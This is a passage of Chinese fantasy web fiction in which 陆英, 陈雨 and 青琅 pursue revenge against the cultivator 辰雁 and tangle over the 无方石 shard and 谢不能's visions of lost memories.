那些远在天边的、虚无缥缈的、让你心气不顺寝食难安的,不要去仇恨。要怪,就先怪自己没本事,怪自己运气差,怪自己经历了那么多,还是看不开。
女人不明白这个道理。
那天,她拖着两条废腿,在昏暗的劳工棚兜兜转转,终于找到了陆英。
“你和他们不一样,”女人说,“你身上有股气,一股磨不平砸不烂的劲气。你不会死在这里,你会出去的。”
陆英无动于衷。
女人掏出一个布包,放在陆英面前。布包散开一角,露出里面一堆磨损严重的铜钱,还有几枚边缘发黑的银钱。
对那时的陆英而言,这是一笔巨款。
她因此对女人有了好脸色:“我只能自己出去,不能带别人。你给钱,或者求我,都没用。”
“我不走。”女人的手枯瘦如柴,轻轻搭着陆英手臂,“我想请你帮我一个忙。我姐姐……她叫林书翠,是平州东部无名村人。她死了,没有亲人收敛,所以被扔在平安河下游的坟场大棚里。她以前和我说过,若是哪一天死了,想葬到无名村后山的桂花林。你替我找到她,帮她换一个地方安眠,好不好?”
陆英问:“你为何不自己去?”
女人说:“我老了,没有时间了。你答应我,我就把攒下来的所有钱都给你。”
原来,承诺也可以用来做生意——陆英想,无怪乎那些监工给出一个虚幻的希望,就能换取实实在在的劳力。在这一片绝望之地,一根飘摇将断的稻草,也会有蠢货愿意押注所有。
“已经过去几十年了吧?这世上没有亲人收敛而要扔到乱葬岗的人多了去,我怎么找到你姐姐?”陆英问。
“她向来比旁人出挑很多。”女人说,“早些年,她与修行者辩论大胜,对方恼羞成怒,砍伤过她的手腕。骨头上……留着痕迹。”
陆英答应了。
她本打算砍死一名监工,拿走衣服偷偷离开,如今有了女人的钱,就不必铤而走险了。
只是这单启蒙她的生意,很麻烦。
陆英辗转回到玉堂城,好不容易才找到已经面目全非的无名村旧址。昔日的村落被新的城镇覆盖,后山的桂花林更是不见踪影,只剩下那片所谓的坟场大棚,没人想顶着晦气动工。
不过,就算是那儿,如今也已规矩森严,严禁挖掘和随意埋葬。
机缘巧合下,她加入玉堂城附近的贪狼寨,一边为自己挣活路,一边打听林书翠。
终于,不久前,有一个快死的老头回光返照,絮絮叨叨地念叨起少年事。
“我爹总吹牛,说自己认识百花街林家的书翠娘子……人家正经大小姐,日夜学着琴棋书画,大门不出二门不迈的,哪能认识我爹这么个跑腿做杂活儿的?不过,我还真知道一些林家往事!毕竟以前是同村嘛……”
“书翠娘子是个倒霉的。她那个不靠谱的大哥,喝多了酒,跟家里新买的仆人显摆,把祖传的宝贝说出去了!那仆人起了贪念,不仅半夜把宝贝卷跑了,还把她全家都杀了灭口!”
陆英顺着这条线索往下查,查到了林家灭门前半个月的劳工买卖记录:一个叫辰雁的小厮,一个叫花盈的丫鬟。
陆英想:那女人是怎么逃过一劫的?为何沦落到熔岩销金窟?若她脸皮厚一些,好意思用一点点钱求我报仇雪恨,仔细把事情原委说清楚,我也不必走那么多年弯路。乱世之中,谁会去记住别人家的生死?谁会去记住一个仆人的来去?
甚至还有浩如烟海的《辰雁大师行善记录》《歌颂辰雁大师》《论辰雁》混淆!
“他们是一个人。”乞丐说。
“他偷走了林家的无方石,摇
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身一变成为修行界新贵,人人都赞他天赋异禀、刻苦坚定、为人友善……他一个应该摇尾乞怜的贱仆,也配?”
陆英想:找不到林书翠的尸骨,把辰雁杀掉为她报仇,让她在九泉之下获得慰藉,也算是对那笔生意有一个交代。
只是,这个突然冒出来的乞丐,当真可信?若是假话,她一介凡人,为了一桩老生意,要努力去杀死一个修行者……还不如毁约算了!
陆英问:“你有什么证据?”
乞丐痛苦道:“你看看我!他设计操纵我的人生,把我困在佹神庙那个鬼地方几十年,害我不老不死受尽折磨,如今人不人鬼不鬼!我每天一睁开眼,就恨不得将他食肉寝皮!你能感同身受吧?你也恨他恨了很多年,对不对?他就算是化成灰,我都能认得他,我都要把他一把扬了!”
陆英问:“你想做什么?”
“我叫陈雨。”乞丐说,“我拿到了辰雁当年偷走的无方石。他因无方石丢失而受修行界质疑,如今正躲藏在平州。届时,我会在佹神庙准备一场幻境,以无方石作诱饵,引他光临。”
“他若想拿回无方石东山再起,我便让他悄无声息地死在幻境里。我在佹神庙那么久,没人比我更清楚,怎么利用幻境杀人。你知道怎么做吗?我来告诉你一些……”
……
阿月问:“你是怎么拿到无方石的?”
陈雨道:“当初,我还以为辰雁凭借无方石的力量,修成了什么神功。后来才知道,他不过是用无方石向明家投诚,换来做时泽真人替身的机会。前些日子,我的同伴当众撕下他的假皮,又顺手把无方石窃走,让他声名扫地,只能像老鼠一样逃回平州来。”
阿月道:“你的同伴?”
“你会见到她的。”陈雨道,“当你也成为我的同伴时。”
阿月将二人审视一番,又对陆英道:“陈雨假扮幻境造物被李观主揭穿的时候,你暴露出来的态度,不像知道这么多弯弯绕绕的内情。”
陆英道:“我找了这么多年,多信她一次,没什么损失。只是我看她年纪不大,身世坎坷,来找我的时候似乎孤注一掷——贪狼寨有很多这样的孩子。我当时想着,她要是愿意,不必亲自动手报仇,可以像其他孩子一样,去读书考学,把一切都交给我解决。”
“直到她的幻境结束,她将一切向我坦白,我才知道,她已经选好了路。”陆英严肃道,“我只想快些杀死辰雁,看看能不能找到林书翠尸骨的线索,然后离开这里。”
阿月思索良久。
有队员上前,附耳道:“我们必须弄清楚无方石的事情。他们的时间线,和我们对不上。若是世上有两块无方石……”
阿月抬手,拍了拍陈雨:“成交。不过,陆寨主帮我疏通商道作报酬,那你呢?不如就将事情原原本本完完整整地告诉我,通过满足我的好奇心来作为报酬吧?”
“比如说,你与林姑娘在医馆打斗,是为什么?忽然出现的红衣女子,是什么来头?白雾散去以前,你与辰雁在聊些什么?”
13. 无名村(12)
结识陈泛,是个幸运的巧合。
据陈雨所说,半个多月前,陈泛在摘花会揭穿辰雁假扮时泽真人的事实,并盗走无方石后,并未如修行界众人预想一般逃至天涯海角躲藏。
她绕了个弯,看着辰雁到明家谢罪,然后跟着对方,一路来到了平州。
是以,辰雁抵达佹神庙“看望”陈雨的时候,陈泛也注意到了这缕近乎崩溃癫狂的残魂。
陈泛把她挖出来,拍拍她的脑袋:“我本想逼迫辰雁,让他亲手将无方石物归原主,如今见到你,却觉得不妨让你去做。”
陈雨难得不是因为疼痛而清醒,迷迷糊糊地抬头看陈泛,看见对方天蓝色的眼睛。
陈泛道:“无方石是我故人旧物,难得的天材地宝。可惜她识人不清,几经辗转,让这东西落到辰雁手里。你找机会帮我把东西还给她,作为交换,我帮你解脱。”
“解脱?”陈雨问,“我的躯体已经腐烂,我的魂魄被辰雁束缚,一旦离开佹神庙,便会消散于天地间。这不是一种解脱。”
“那是庸人的方法。”陈泛笑道,“我有一张符,可以替你和辰雁换命。他会变成一缕魂,在这个不见天日的地方永生永世受折磨;而你可以借他的躯壳还魂,往后哪里都去得。”
陈雨问:“为什么帮我?”
陈泛道:“因果报应,总有清算的时候。一个人帮助别人,将来就会受到别人的帮助;一个人害别人,将来就会为人所害。世间事往往不是这样的道理,但我希望它们变成这样。”
陈雨问:“我该怎么做?”
陈泛把无方石放在她手心,又拎出一张符,仔细塞进她衣袋,意味深长:“把无方石交给安定城兴旺街东一个叫青琅的人……辰雁用无方石讨好明家,真是短视之举。这块石头可以吸收天地灵气,让修士更上一层楼,还可以让没有灵根的凡人获得修行的可能。”
“至于这张符纸……在辰雁重伤虚弱的时候,用你们二人的血将它激活,便可以让灵魂易位。”
陈雨看着无方石,思索片刻:“我与辰雁的实力天差地别,若是留在佹神庙守株待兔,难免耽误时间。你有没有办法,让我出门一趟?”
陈泛拎来一具快要散架的傀儡,将陈雨的灵魂塞进去。
……
阿月道:“所以,你在医馆与林姑娘打斗,是想将无方石据为己有?”
“人之常情。”陈雨道,“陈泛建议我把命运交到别人手里,期盼对方的同情与赠予……我曾经这样做,然后吃尽了苦头。”
“我的幻境是辰雁制作的,他要我的灵魂穿梭在逃跑失败的那一天,永远被他戏耍,不得解脱。辰雁的幻境是陈泛准备的,是最能让他心神失守、让我趁虚而入的场景。我计划着,用自己的幻境杀死青琅,然后在辰雁的幻境里与辰雁换命,最后用辰雁的躯体离开。若是幸运,我的幻境随着辰雁的死亡而消散,一切无对证,我自可以编造;若是不幸,我便把一切都推到辰雁身上,说他对我的幻境做过手脚。”
阿月问:“陈泛没有发现?”
陈雨自嘲笑道:“起初,我以为是我足够小心谨慎,加上陈泛身为修行界逃犯,到底不好光明正大地露面。直到今日在幻境中看见她,才惊觉她似乎是故意任我为之。至于她的目的……我想不明白。”
总归不会是真的出于善心。
可是,无论如何,陈泛是陈雨难得等到的机会,她必须牢牢握住。
阿月问:“你将我们商队卷入其中,是要做什么?李观主呢?也是你计划里的一环?”
陈雨道:“你们的到来,是意外。我被困在佹神庙多年,哪能有那么复杂的计划,连你们都算计进去?至于李观主,是我到黑市托人找的,一个吸引青琅来到佹神庙的诱饵。”
风雅茶馆在戏剧终场后依旧热闹,人们推杯换盏、伙计四处吆喝,混乱一片。
阿月偏过头,望向不远处的树——繁密的枝叶在傍晚微风里轻轻摇晃,而青琅倚在其中,不藏不避,面色冷淡如水。
她不禁有些佩服陈雨:此人敢在这里坦白,倒是不怕林姑娘忽然发难。
只听陈雨道:“永和城外东南方向不远,有几条蜿蜒交错的破落街道,被低矮房屋和流动摊贩围着,不受任何势力监管。因着地理位置绝佳,渐渐形成了一个叫积香集的黑市。黑市里面有个厉害的掮客,是能活百年的修行者,人们叫他——竹先生。此人神通广大,只要付得起价钱,什么事都能做成。”
“我将佹神像大卸八块,去典当行换成钱,作为支付竹先生的酬劳。”
——说来可笑,陈雨第一次见这么多钱。
竹先生在晴朗春日里披着狐裘,瘦得像一只轻飘飘的鬼,很随意地拨开钱袋,问:“哪怕会无功而返,你也执意如此?”
陈雨点头。
竹先生劝她:“你很聪明,不会想着用一点小钱托我杀死青琅。我看你年纪小,因此劝告你……不管你与青琅有什么恩怨,你都可以等自己成长一番,再去不迟。”
陈雨道:“我没有时间了。”
“好。”竹先生将钱袋收起,“青琅此人,性格有缺,极其孤僻。让她离开兴旺街已是不易,还想设计使她千里迢迢去一个孤山老庙,只能用寻仇一个理由。”
“玉堂城有一个太虚观,观主叫李通海。他作为一个外来的修行者,能在平州混得风生水起,足以见得有几分本事。青琅与他有些仇怨,可惜一直以来都没有找到悄无声息将他杀死的方法。”
“我会先将李通海骗到——是连梦山的佹神庙吧?此人很有一些修行者的通病,唯明家马首是瞻。我只需仿造一封书信,将他骗去易如反掌。至于青琅那边,我会告诉她,我给她找了一个杀人不犯法的好地方,劳她尊驾,尽快跑一趟。”
竹先生仿着新出世的金光塔幻境编造了些规则,又胡乱写了点儿高级的原因,递给乔装打扮好的送信
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人,把信送往太虚观。
那送信人前脚刚走,他挥别陈雨,后脚就上了去往安定城兴旺街的马车。
“有个走投无路的可怜人,想设局害你,找到我面前。”他翻进青琅院落,被花花草草绊倒,很狼狈地拢了拢披风,“我既是开门迎客,便不能不做生意。我知道那点伎俩伤不了你多少,思来想去,却还是决定跑一趟来提醒你,免得你一时疏忽,阴沟里翻船。”
梳着麻花辫的小姑娘正在踮脚浇花,闻言评价道:“两面三刀。”
“阿梅,哥哥就是这样的人。”竹先生低笑几声,带起一阵轻咳,又道,“对方要将你引去永和城北边,连梦山的佹神庙里。有一个幻境在那儿等你。里头有什么杀机,对方自然没同我交底,不过,我替你讨了份好处,也算给她一个机会——我们把李观主也一并引过去了。”
“荒郊野岭,李观主就在你手边。你还是尽快将他杀了,了却一桩心事吧——别像去年在太虚观那回,想动手却找不到人,找到人了,又顾忌着长梧山庄的守卫。”
“多谢。”青琅的声音落下来。
竹先生仰起头,才发现她在屋顶。
他迟疑道:“那设局之人,我瞧着,是没几日好活了。你这人办事,从来有道理,旁人伤你一分,你就还人一分。只是这次,若没什么大事,你不如高抬贵手,就当给自己积德。”
“看情况。”青琅道,“你可以去提醒一番。”
竹先生脸上的肌肉抽动了一下,没再说什么,朝浇花那小姑娘的方向招了招手。
小姑娘跑过来,钻进那件宽大厚重的狐裘里,被竹先生卷抱着离开了。
……
“这位竹先生,曾到庆来客栈找我问诊。”谢不能道,“他体弱气虚,肺腑衰竭,已是将死之相。他说,他要多挣些盘缠,跋涉万里去长泽天求生路。你们有什么交集?他为何会特意来提醒你?”
青琅道:“他要出远门,把妹妹交给我照顾。”
谢不能问:“你之前对我如此防范,是把设局之人当成了我?陈雨心脉受损而周身有外伤,那你呢?你伤在哪里?先前流血,是阵法的反击,还是灵力透支的消耗?”
青琅一概不答:“我为杀死李观主而来,对其它恩怨毫无兴趣。但你、陈泛、无方石、九天玄石剑……我对这些,一点印象都没有。”
谢不能道:“不是什么重要的事,时间久了,难免遗忘。”
“你欲言又止,陈泛说话模棱两可,似乎都与我关系不浅。我若与人有因果未竟,无论是恩是债,肯定不会忘记的。”青琅道,“我与你,过去发生过什么?”
谢不能神色犹豫,又听青琅道:“你的天示,多试几次,能看见我与陈泛的过去吗?”
从未见过青琅如此凝重的表情。
谢不能沉思片刻,正要开口——
忽然听见陆英在下方喊道:“二位,还有一桩生意,能否赏脸一听?”
14. 无名村(13)
陆英道:“你是因为不愿犯法,才想在幻境里了结仇怨。李观主与辰雁在一条船上,我可以帮你解决他,无需你亲自动手。作为交换,希望你不要再计较陈雨之前的行为,也莫要阻拦我们的行动。”
陆英方才说自己只想尽快离开,现下话语之间,却自然将自己与陈雨划作一方,回护之意明显。
青琅道:“她伤我,我伤她,两清。我与李观主的因果,不必你参与。你杀你的,我杀我的,各不相干。”
陆英一时语塞。
她自认已经理解了青琅的行事逻辑,领悟到与其打交道的方法,却没想到对方没有半分委婉。
陆英见过青琅——在去年正旦,贪狼寨为追踪一批失货,潜伏进敌对帮派地盘的时候。
那夜,老天不作美,骤雨倾盆。逛灯市的人们嬉闹着跑回家团圆,不多时,街上游人寥落,只余各处摊贩正收拾物什,准备找地方避雨。
忽然一阵骚动,是敌帮几个惯常惹事的壮汉,正围着一个卖竹编的姑娘勒索。那姑娘身形单薄,被逼得步步后退,周围人见此情形,吓破了胆儿,一个两个溜得飞快。
计划未成,最忌节外生枝。有同行人暗骂“畜生”,目光焦灼地看向陆英,陆英却只能暗自咬牙,摇了摇头。
青琅就是在这个时候出现的。
她生得很白,眉眼如墨,唇色淡薄。湿透的黑发凌乱贴在脸侧,戾气像潮湿的雨汽一样蔓延开,看着不像个好人。
陆英甚至没看清她是如何动作的——只听几声痛呼,那几个彪形壮汉便已倒地不起,泥水飞溅,哀叫与脏话齐飞。
青琅俯身,从为首之人怀里摸出一个鼓囊钱袋,反手抛给那惊魂未定的姑娘。
“多谢大侠!”姑娘道。
“不必。”青琅语调冷淡,带着倦怠,“我正巧心烦,苦于没有理由做些什么事情发泄。”
那姑娘愣了愣,低头去看怀里的钱袋:“他们还没有抢走我的钱袋,这是他们的钱袋。看图案,应该属于玉堂城外某一个帮派,可惜我不怎么出门,认不得具体是哪一个……”
“拿走吧。”青琅道,“他们抢你,你就抢他们。”
姑娘想了一会儿:“大侠,这雨一时半刻不会停,不如到我家去喝杯茶暖暖身子?这个钱袋的图案,我去找……”
青琅已经走远。
那姑娘迅速收好钱袋与货物,追上去,清脆音调隐隐飘至陆英耳中:“大侠,我叫阿梅……”
陆英因此记住了青琅——此人行事自有一套奇怪的准则,身手出众,可以招揽或合作。如今幻境再相逢,就算不能结交,至少别做敌人。
谢不能缓步上前,打破僵硬的气氛,将话题引向关键:“陆寨主、陈雨姑娘,旧事既已揭过,不如说说眼前。陈雨姑娘受人所托,要将无方石转交给青琅,何不现在拿出来,避免夜长梦多。”
陈雨道:“如此贵重之物,我不敢随身携带。最危险的地方就是最安全的地方,无方石就藏在佹神庙里,就是李观主触碰过的那一块。”
“哦?”一旁响起阿月带着笑意的声音,“如此说来,我们等会儿出去以后,倒是可以抢先一步夺了去。”
她的视线落在青琅身上:“在医馆蹲守的阿虎方才和我说了,林姑娘破阵之威,着实令人叹服。不过,毕竟双拳难敌四手……你觉得,无方石,我们商队有一争之力么?”
阿曼在一旁极为配合地扭了扭手腕,骨骼发出轻微的脆响。
青琅转身离开。
见她如此反应,阿月也不恼,反而冲着她的背影提高声音,对陆英说道:“陆寨主,我看你不如去劝劝那位李观主,让他拼死护好辰雁大师!说不定林姑娘杀李观主的时候,顺手就把辰雁大师给解决了,岂不省事?”
陈雨道:“辰雁不是容易对付的,与他硬碰硬绝非上策,我们需要依靠幻境……若青琅愿意出手相助,事情会简单许多。”
阿龙讷讷道:“林姑娘方才可是被算计进了杀阵,怎么可能心里不介怀……人与人之间,但凡有点嫌隙,再想谈合作,怕是难如登天。”
陆英不再多言。
……
午后的街道行人稀疏,不少人搬张凳子坐在门口吹风闲聊,数道视线若有似无地扫过二人。
青琅步履未停,从袖中取出一物,递与谢不能。
这东西通体漆黑,边缘断裂得极不规则,触手冰凉彻骨。方才青琅用灵力敲了敲它,此刻,上面正有繁复咒文隐隐浮现,流转着月白微光。
她说:“刚才从陈雨那里偷的。”
谢不能的指尖抚过上方流转的咒文。
“九天玄石乃世外神物,传说是万物混沌时期女娲补天所遗,拥有超越一切的力量。”他轻轻皱眉,“世间最厉害的铸剑师,也没办法把他们相融合,只能用巨力打磨后相互镶嵌,再利用咒文进行连接。咒文作不得假,这是铸造你那把剑的无方石无疑……”
“只是各方说辞皆有漏洞,我们无一窥得全貌,还有许多疑点未明,需从头梳理。”
“其一,在于地点。现实里的佹神庙,与我们所进入的幻境里的佹神庙,是否一致?若现实里的佹神庙存在无方石,这样的宝物,竟能安然存留至今而没有引起纷争?可能性更高的是,现实的佹神庙里,没有无方石。那块放置于佹神庙中央的巨石,是竹先生与陈雨设局,引诱李观主前来所放置的赝品。”
“但若依此推论,第二个疑点便随之而来。若庙中巨石并非无方石,阿曼为何笃定那是图雅部族二十年前失窃的圣物?是他们的情报有误,还是他们的认知在踏入幻境时,受到了某种力量的干涉与扭曲?毕竟幻境不止有陈雨交代的两个,还有一个更大的幻境,至少在向导变异的时候就已经将我们笼罩其中。陈雨知道我们聚集的佹神庙是幻境吗?知道自己布置的陷阱不在现实吗?”
“其三,我们不能排除,佹神庙中的巨石就是无方石,且世间存在不止一块无方石。若真如此,陈雨是否知晓真相?若她知道——或者说认为那是真品,为何选择将其公之于众,反而偷偷藏匿这块被你偷……被你拿回的残片?她作为凡人,且不说残片与你尚有契约,就算是契约消失,她想进行驱使,亦难如登天。”
“所以,陈雨更有可能不知道,她认为那块巨石只是她和竹先生布置的障眼法。若真如此,便意味着她与竹先生的局,阴差阳错地闯入了一个更深的局里。是谁把一块真的无方石放在了这里?”
“无论是哪种情况,既然残片已经到手,当务之急,是完成你来此的目的,了结与李观主的仇怨。能将佹神庙乃至周遭山林都囊括其中……这个庞大幻境是谁所设?在图谋什么?无论是否与我们有关,尽快离开此地都是最优选。”
现下,要理清这团乱麻,最好的方法就是借助天示之力——能受环境影响而窥见相关事件自然最好,若是不能,找找遗忘的过去,看看未知的将来,
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也不错。
谢不能解释道:“我这能力……或许是因为我的魂魄残缺,才如此难以捉摸。触发全无规律可言,有时是夜半惊梦,更多是与人肢体触碰的瞬间,那些片段不由分说地闪入脑海,避无可避。”
青琅对天示之力一直抱着半信半疑的态度——世间确有能窥探天机、预示未来的奇人,亦不乏追溯过往、启封记忆的术法,但是像谢不能这般,既无法控制所见内容,触发方式又全然被动的,闻所未闻。
谢不能道:“我看见过你三次。”
“第一次,是我病痛难忍、意识涣散之际,因魂魄不稳而日夜忧思,几乎魔怔,终于得天示垂怜,让我梦见线索。”
“梦里有一个人,正施行禁法,将我重伤虚弱的魂魄捆缚于一把剑上。我看见你的背影,知道那是你的剑。醒来后,我努力推演,终于卜得你身在何处。可惜,我至今难以揣度,施法那人究竟想做什么。”
“第二次,是我初至平州时,在庆来客栈旁的早点摊前。说来惭愧,我是刻意追寻你而去,当时的心思并不纯粹,只想着如何设法利用你找到九天玄石剑的残片,以收回魂魄。”
“那时,我站得离蒸笼很近,你伸手拉了我一把,天示便降临了。”
谢不能看见了熊熊燃烧的铸剑炉,青琅静立旁边,影子被火光照得很长。
她对面站着一位黑袍人,面容模糊不清,气息深沉如海,音调很低,带着某种奇异的韵律,分辨不出性别与年龄:“你道途坎坷不顺,是因为丢了剑吗?”
青琅答:“是。”
黑袍人道:“它是你身体的一部分。无论它碎成什么样子,只要你想找,冥冥之中自有机缘。你在平州停留这么久,难道不是在等?等到时机成熟的那一天……”
因此,谢不能认定,青琅的目标是集齐残片重新铸剑。他试图探查黑袍人不得,只能继续盯紧青琅,看她何时动身去寻,他便跟着去。
“第三次,就在不久前,佹神庙里,你引导我向阿曼击出石子的时候。”
谢不能语带困惑,“我看见了一棵很繁盛的桂花树。分不清是季节正好而满树繁花,还是大雨初歇,枝叶间挂满了如花一般的水珠……我闻到极其浓郁的桂花香气,让我头晕目眩。再次清醒,我已身处陈雨的院子。”
青琅道:“既如此,不如先看看这片从陈雨处偷来的残片,是否附有你的魂魄。”
谢不能道:“平州灵气稀薄,我暂时无法利用法器借助周遭灵气查看。我带了些灵石过来,全用在施展虚空法诀的时候了。”
他将残片往青琅那边递了递:“天示所言,你会在未来重铸九天玄石剑,想来少不得这块残片。不如先物归原主,交由你保管,待此间事毕,我再找个灵气充足的地方查看?”
“好。”青琅道。
指尖相触,谢不能的手与残片一样冰凉。
她看向谢不能苍白病气的脸:“古往今来,预言卜算一类窥探天机之术,无一不需付出代价。你魂魄不稳,确实难以承受使用天示的消耗。”
她的指尖凝起一丝微光:“我给你一些灵力作为支撑,请你坚持一下,努力看看我的过去。作为报酬,我会继续为你输送灵力,供你查看残片。”
谢不能下意识后退半步:“些许后果,我习以为常。只是若要天示出……”
他话说到一半,垂眼静思。
片刻后,他伸出食指,戳了戳青琅手背。
15. 无名村(14)
天示里,环境昏暗。
阴风阵阵,卷得纸钱元宝漫天飞舞。青琅踩着黄符纸扎一直走,两侧山石倒悬,河水逆流,虫蛇遍地,鸟雀哀鸣。
忽有一品种不明的兽类拦路,赤首白甲,火焰环身,口吐人言:“你恶果累累,若重返天光普照之地,必厄运缠身,不得好死。何不长留于此?有道是生前种种死后皆空,你可以待到百年以后,故人死尽而人死债消,再走不迟。”
青琅道:“欠债还钱,因果有报。我日夜受怨恨煎熬,不得安宁,难以忍受。此去,只盼尽快清算恩怨,往后能正常生活。”
那兽嗤笑:“作茧自缚,徒增烦恼。”
……
谢不能身形猛地一晃,气息紊乱,面色苍白如纸。他踉跄着退至墙边,借砖石稳住身形,吐出一口血来。
“天示竟会将你损伤至此?我即刻为你输送灵力。”青琅道。
谢不能连连摆手:“先别碰我,我缓一缓就好……这件事情,你有印象吗?与幻境有关吗?”
青琅道:“无关。那是我搬到兴旺街前所住的地方。”
谢不能有些失望。
青琅道:“你若是愿意,可以告知我如何探查残片,由我来查看上面是否有你的魂魄。若有,应该能缓解你如今的痛苦?”
谢不能抖着手取出一张黄符:“这张符是用我心头血绘制。你用灵力激活此咒,将其点于残片上即可。”
青琅依言施法。
嗡!
意料之外。
触碰到残片的那一刻,青琅头痛欲裂,一段陌生的记忆灌入脑海——
是一片连绵望不到头的桂花林。浓重的苦药气味在林间弥漫,盖过应有的清雅芬芳。
十几张木椅散乱摆放,其上倚靠着面色蜡黄、病气深重的人们。又有人蹲在一旁熬药,瓦罐被半死不活的柴火煮着,咕嘟作响,白雾缭绕。
看见青琅的身影,一位妇人攥着药碗急急迎过来:“青琅妹妹,这些天你都去了哪里?乡亲们都很担心你。”
青琅答:“去见一位旧友。”
那妇人低声与她絮叨:“这几天倒是没再出什么打架斗殴、偷药伤人的乱子了……只是这疫病不知道什么时候才能过去。我们都是按着时泽真人留下的方子配药,可惜仅能缓解伤痛,并不能根除病症。药材一日少过一日,长此以往,怕是撑不住的。”
“就要好起来了。”青琅听见自己的声音,似乎有些疲倦,“我已有破解之法。”
那妇人见识过她的本事,眼里一喜。可惜连日愁苦劳累压得人心脏沉甸甸的,她嘴角动了动,没笑出来。
青琅取出一物,递过去:“我会把它埋在这里,吸收灾病的源头。过几日,待疫病情况好转,请您将其取回,掷入同悲海。”
是那块残片!
妇人接过,忽然意识到什么,怔怔问:“你才回来不久,又要走?”
青琅道:“对。”
妇人很是忧愁:“仙人打架,凡人遭殃……外头战火纷飞,你再有本事,也比不过那些会飞天遁地的。”
青琅道:“我找了一处安静地方躲着。”
妇人看看她,忽然问:“妹妹,你很忧心?”
青琅答:“一般。”
妇人便找了个让人高兴的话题:“我这儿有个好消息,早便想着同你分享。前些天,我在街东捡到一个女娃娃,用糊糊喂养几日,她竟然活下来了。我家二郎说,既然我们家亲妹妹……去了,不如收养了她,就当行善积德。”
青琅努力向她笑笑:“叫什么名字?”
很奇怪。记忆外的青琅感到一丝异样——她从不关心旁人琐事,这不像是她能问出的话。
妇人道:“随我们家,姓林。名字还未想好!倒是有一个喜欢的……你先前不是说,有位好友叫作书翠娘子,在什么什么大殿当差,有无双才学,受许多人敬仰。这名儿我们听着都喜欢,还想着托你问问,她是否介意……”
记忆里的青琅说:“她愿意。”
记忆外的青琅想:书翠娘子?又是一个没有任何印象的人。是有什么东西在欺骗我?还是我的记忆有缺失?以修行者的记忆力,即便在海底独自生活几十年,也不应该忘得如此干净。
妇人笑起来。
记忆至此,戛然而止。
符纸灰烬自指间簌簌落下,青琅望向倚在墙边的谢不能,若有所思。
与此同时,谢不能亦陷进梦魇里。
其实,他对青琅所说的第一次天示景象,有所隐瞒。
在那一次天示里,他梦见自己倒地不起,气息微弱,周身剧痛,视线模糊。他努力睁眼望着青琅离去的背影,用尽最后一丝力气,生生撕出自己的魂魄,以禁法捆缚于青琅的长剑。
天示里的他想:上穷碧落下黄泉,我们注定生生死死都要纠缠不清。
而此刻,附在残片上的魂魄,竟正好让他记起在此之前的事情。
那是一条蜿蜒下山的小径——先前他一直以为事发时是傍晚,此刻才发现,原是巨树遮天蔽日,山雨欲来,天光晦暗如夜。
他拦在青琅身前,悲痛欲绝,只是面上不显,声音极力维持着平稳:“你欲与沧澜灵脉玉石俱焚,自是一时痛快。你可曾想过后果?欲成大事,当周密谋划,徐徐图之……”
“徐徐图之?”青琅语调讥讽,比现在多几分愤怒的活人气,“世间何来万全之法?若人人都像你这般优柔寡断、困于枷锁,此间天地永无变革之日。”
谢不能道:“沧澜灵脉是九州七道之枢纽,一旦轰塌,必引得世间大乱,生灵涂炭。”
青琅道:“你口口声声要救天下苍生,又做了什么?跑几处城镇,开几副不痛不痒的药汤,毁几座无关紧要的灵阵?不过是隔靴搔痒,无用至极。我常常疑心,你与他们一样,舍不得这沧澜灵脉,所谓挽救,不过是拖延之策,以安抚人
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心。”
谢不能的心脏愈发疼痛:“你为救一部分百姓,去牺牲另一部分,是正确的?沧澜灵脉背后势力盘根错节,你今日身死,明日他们便可卷土重来!你想护的人,当真能护得住?”
“可以。”青琅道,“凡人寿数不过百年,护他们一世安稳,绰绰有余。至于其他人,与我何干?于我有恩者,我自当涌泉相报。其余人生死,我一概不关心。”
谢不能艰涩道:“那我呢?你我之间,不是殊途同归吗?我……”
青琅打断道:“是我年少无知,错信于你,高估于你。你若执意拦我,我就连你一并杀了。”
记忆里的谢不能眼睫轻颤,视线因剧痛与震惊迅速模糊,落下泪来。
记忆外的谢不能难以置信:百年前震惊九州七道、导致修行界格局大变的沧澜灵脉崩塌一事,我竟参与其中?难怪我当初在北地雪原醒来时,便觉万物苍茫,恍如隔世。若我昏睡长达百年,确实是沧海桑田。
疑惑间,他看见青琅的剑出鞘。
记忆里的自己自不量力,与她过了几招,不过瞬息便被那柄利剑毫不留情地贯穿左肩!
剧痛席卷而来,他踉跄倒地。
青琅垂眼看他,眼神无波无澜:“谁说我会死?我会回来的。希望再见你的那一天,你已经不是这副模样。你既想行君子之道,讲仁义之心,便该明辨是非,当断则断。”
言罢,她收剑转身,再未回头。
梦魇于此定格,往后所发生的,便是谢不能日日夜夜百思不得其解的——他为何主动将魂魄捆缚于青琅剑上?他与青琅究竟有何过往?
谢不能又吐出一口血,后背重重撞在墙上,惊出一身冷汗。他头脑昏沉,痛苦地抬起眼,正对上青琅的视线。
今夕何夕,孰真孰幻?
“我可能真的认识你。”青琅道,“九天玄石并非凡物,这块残片可以轻易被人动手脚吗?如若不能,那就是我记忆有缺。可能是我在昏暗之地生活太久,忘记了一些人和事。我原以为是无关紧要之人,不值一提之事,如今再看,却非如此。”
“你还记得陆英提到的林书翠吗?我通过残片看见了被我遗忘的记忆……有一位无名村的村民与我说,她捡回一位女婴收养,取名叫林书翠。记忆里的我,将这块残片埋在无名村,破解一些……人为的灾病。我还叮嘱她,不久后要将此物掷于同悲海——那是记忆里的我将要生活的地方。”
“若她没有依照约定将残片扔进同悲海归还于我,而是私藏于家中,那一切便与陆英所言对得上了——辰雁在林家偷走了我的无方石残片,将其带离平州。”
“你通过天示,知道这是属于我的东西。陈泛又是如何得知?她千方百计要将此物还给我,目的何在?”
谢不能静静听完,正欲分析,开口时,却忍不住先问道:“那我呢?你有没有想起我?我收回附着在残片上面的魂魄了。青琅,我又看见了你。”
16. 无名村(15)
十里长街,火树银花,灯影游龙。
今日恰有富商人逢喜事,在凝香楼设流水席宴请八方来客。雕梁画栋间,形形色色的人们迎来送往,一片欢声笑语。
李观主落座在角落,看众人推杯换盏,感叹道:“真是热闹。”
辰雁的目光掠过喧闹的人群,拎起身前镶金嵌玉的酒壶,笑道:“不错。这样的盛会,只要参加过一次,便一生难忘。李道友且看,幻境里的我,马上就要来了。”
话音未落,只见一个瘦弱的少年端着托盘,踉踉跄跄地走上来,在各席面间穿梭。
他动作稍慢,拦住了舞姬飘扬的衣摆,便被一旁喝得面红耳赤的宾客一把推搡开:“滚远点儿!没眼力见的东西,做什么挡着爷爷喝酒?”
“凝香楼现在什么档次?瞧他那样儿……端个菜都端不好……”
哄笑与斥责声中,那少年的头垂得更低,整个人几乎缩成一团,慌忙躲闪。
